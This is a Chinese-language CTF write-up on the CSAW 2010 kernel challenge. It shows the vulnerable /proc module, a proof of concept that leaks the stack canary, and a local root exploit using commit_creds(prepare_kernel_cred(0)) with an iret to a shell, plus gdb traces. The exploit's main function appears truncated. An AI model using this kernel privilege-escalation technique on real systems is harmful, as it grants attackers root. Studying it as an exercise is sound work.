csaw ctf 2010 kernel exploit challenge

Introduction

古老的 ctf 练习题,结合之前学习的知识进行实践。

Bug

/*
 * csaw.c
 * CSAW CTF Challenge Kernel Module
 * Jon Oberheide <jon@oberheide.org>
 *
 * This module implements the /proc/csaw interface which can be read
 * and written like a normal file. For example:
 *
 * $ cat /proc/csaw
 * Welcome to the CSAW CTF challenge. Best of luck!
 * $ echo "Hello World" > /proc/csaw
 */

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

Makefile:

obj-m := csaw.o  
KERNELDR := /home/user/linux-2.6.32/
PWD := $(shell pwd)  
modules:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules  
moduels_install:  
	$(MAKE) -C $(KERNELDR) M=$(PWD) modules_install  
clean:  
	rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

程序 copy_from_user 处会产生溢出,和之前的练习不同的是,这次要在开启 stack-protector 的内核环境下进行, 那么就要 leak stack-canary

可以看到 csaw_read 函数有一个 off 参数:

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];
    printk(KERN_INFO "csaw: called csaw_readn");
    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!n");
    //could leak canary here!!!!
    memcpy(page, buf + off, MAX_LENGTH);
    return MAX_LENGTH;
}

buf 的长度为 0x40,可以偏移任意字节长度读取到后面的内存,从而 leak canary。

Poc

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

void hexdump(char *buf)
{
    int i, j;
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++)
        {
            printf("%02x ", buf[i*16+j] & 0xff);
        }
        printf(" | ");
        for (j = 0; j < 16; j++){
            printf("%c", buf[i*16+j] & 0xff);
        }
        printf("\n");
    }
}

int main()
{
	char buf1[0x40];
    char canary[4];

    int fd = open("/proc/csaw", O_RDWR);
    if (fd < 0) {
        printf("[-] failed to open /proc/csaw\n");
        exit(1);
    }

    lseek(fd, 0x10, SEEK_CUR);
    read(fd, buf1, sizeof(buf1));

    printf("dumping memory...\n\n");
    hexdump(buf1);

    memcpy(canary, buf+0x20, 4);
    printf("Canary: %lx\n", (int)*((int*)canary));

	return 0;
}

运行一下:

csaw-ctf-2010-poc

成功 leak,接下来就可以结合 leak,构造 payload 获取 root shell。

Exploit

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>

struct trap_frame {
    void * eip ; // instruction pointer
    uint32_t cs ; // code segment
    uint32_t eflags ; // CPU flags
    void * esp ; // stack pointer
    uint32_t ss ; // stack segment
} __attribute__((packed));

struct trap_frame tf;

void launch_shell(void) {
    execl("/bin/sh", "sh", NULL);
}

void prepare_tf(void) {
    asm("pushl %cs; popl tf+4;"
        "pushfl; popl tf+8;"
        "pushl %esp; popl tf+12;"
        "pushl %ss; popl tf+16;");
    tf.eip = &launch_shell ;
    tf.esp -= 1024; // unused part of stack
}

// Kernel functions take args in registers
#define KERNCALL __attribute__((regparm(3)))
void (*commit_creds)(void *) KERNCALL = (void*)0xc1069a40;
void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1069be0;

void payload(void) {
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf, %esp;"
        "iret ;");
}

void hexdump(char *buf)
{
    int i, j;
    for (i = 0; i < 4; i++)
    {
        for (j = 0; j < 16; j++)
        {
            printf("%02x ", buf[i*16+j] & 0xff);
        }
        printf(" | ");
        for (j = 0; j < 16; j++){
            printf("%c", buf[i*16+j] & 0xff);
        }
        printf("\n");
    }
}

int main()
{
    char canary[4];
    char buf[0x54];
    char buf1[0x40];

    int fd = open("/proc/csaw", O_RDWR);
    if (fd < 0) {
        printf("[-] failed to open /proc/csaw\n");
        exit(1);
	}
}

gdb 调试运行一下,断到 copy_from_user 后面:

pwndbg> x/10i $eip
=> 0xc88160c3 <csaw_write+51>:	call   0xc121cf80 <copy_from_user>
   0xc88160c8 <csaw_write+56>:	test   eax,eax
   0xc88160ca <csaw_write+58>:	jne    0xc88160e9 <csaw_write+89>
   0xc88160cc <csaw_write+60>:	mov    eax,ebx
   0xc88160ce <csaw_write+62>:	mov    edx,DWORD PTR [ebp-0xc]
   0xc88160d1 <csaw_write+65>:	xor    edx,DWORD PTR gs:0x14
   0xc88160d8 <csaw_write+72>:	jne    0xc88160e4 <csaw_write+84>
   0xc88160da <csaw_write+74>:	mov    ebx,DWORD PTR [ebp-0x8]
   0xc88160dd <csaw_write+77>:	mov    esi,DWORD PTR [ebp-0x4]
   0xc88160e0 <csaw_write+80>:	mov    esp,ebp
pwndbg> stepover 
...

Breakpoint *0xc88160c8
pwndbg> x/32xw $esp
0xc6fe9ed4:	0xc881617b	0x41414141	0x41414141	0x41414141
0xc6fe9ee4:	0x41414141	0x41414141	0x41414141	0x41414141
0xc6fe9ef4:	0x41414141	0x41414141	0x41414141	0x41414141
0xc6fe9f04:	0x41414141	0x41414141	0x41414141	0x41414141
0xc6fe9f14:	0x41414141	0x62be59ce	0x41414141	0x41414141	-> canary
0xc6fe9f24:	0x41414141	0x080488d7	0x00000000	0x00000054
0xc6fe9f34:	0xbfe81118	0xc6f77cc0	0xc6fd1c00	0xc1149620
0xc6fe9f44:	0xc6fe9f64	0xc1145078	0xc6fe9f98	0x00000054

可以看到 canary 的确被覆盖成正确的值,继续执行到 ret 处

pwndbg> x/4i $eip
=> 0xc88160e3 <csaw_write+83>:	ret    
   0xc88160e4 <csaw_write+84>:	call   0xc1042660 <__stack_chk_fail>
   0xc88160e9 <csaw_write+89>:	call   0xc88160f4
   0xc88160ee <csaw_write+94>:	xchg   ax,ax
pwndbg> x/4xw $esp
0xc6fe9f28:	0x080488d7	0x00000000	0x00000054	0xbfb5a698
pwndbg> x/12i 0x080488d7
   0x80488d7:	push   ebp
   0x80488d8:	mov    ebp,esp
   0x80488da:	push   ebx
   0x80488db:	sub    esp,0x4
   0x80488de:	mov    ebx,DWORD PTR ds:0x80ea068
   0x80488e4:	mov    edx,DWORD PTR ds:0x80ea06c
   0x80488ea:	mov    eax,0x0
   0x80488ef:	call   edx
   0x80488f1:	call   ebx
   0x80488f3:	mov    esp,0x80eba00
   0x80488f8:	iret   
   0x80488f9:	nop
pwndbg> 

的确会跳转到构造的 payload,最后运行结果:

csaw-ctf-2010-exp

Reference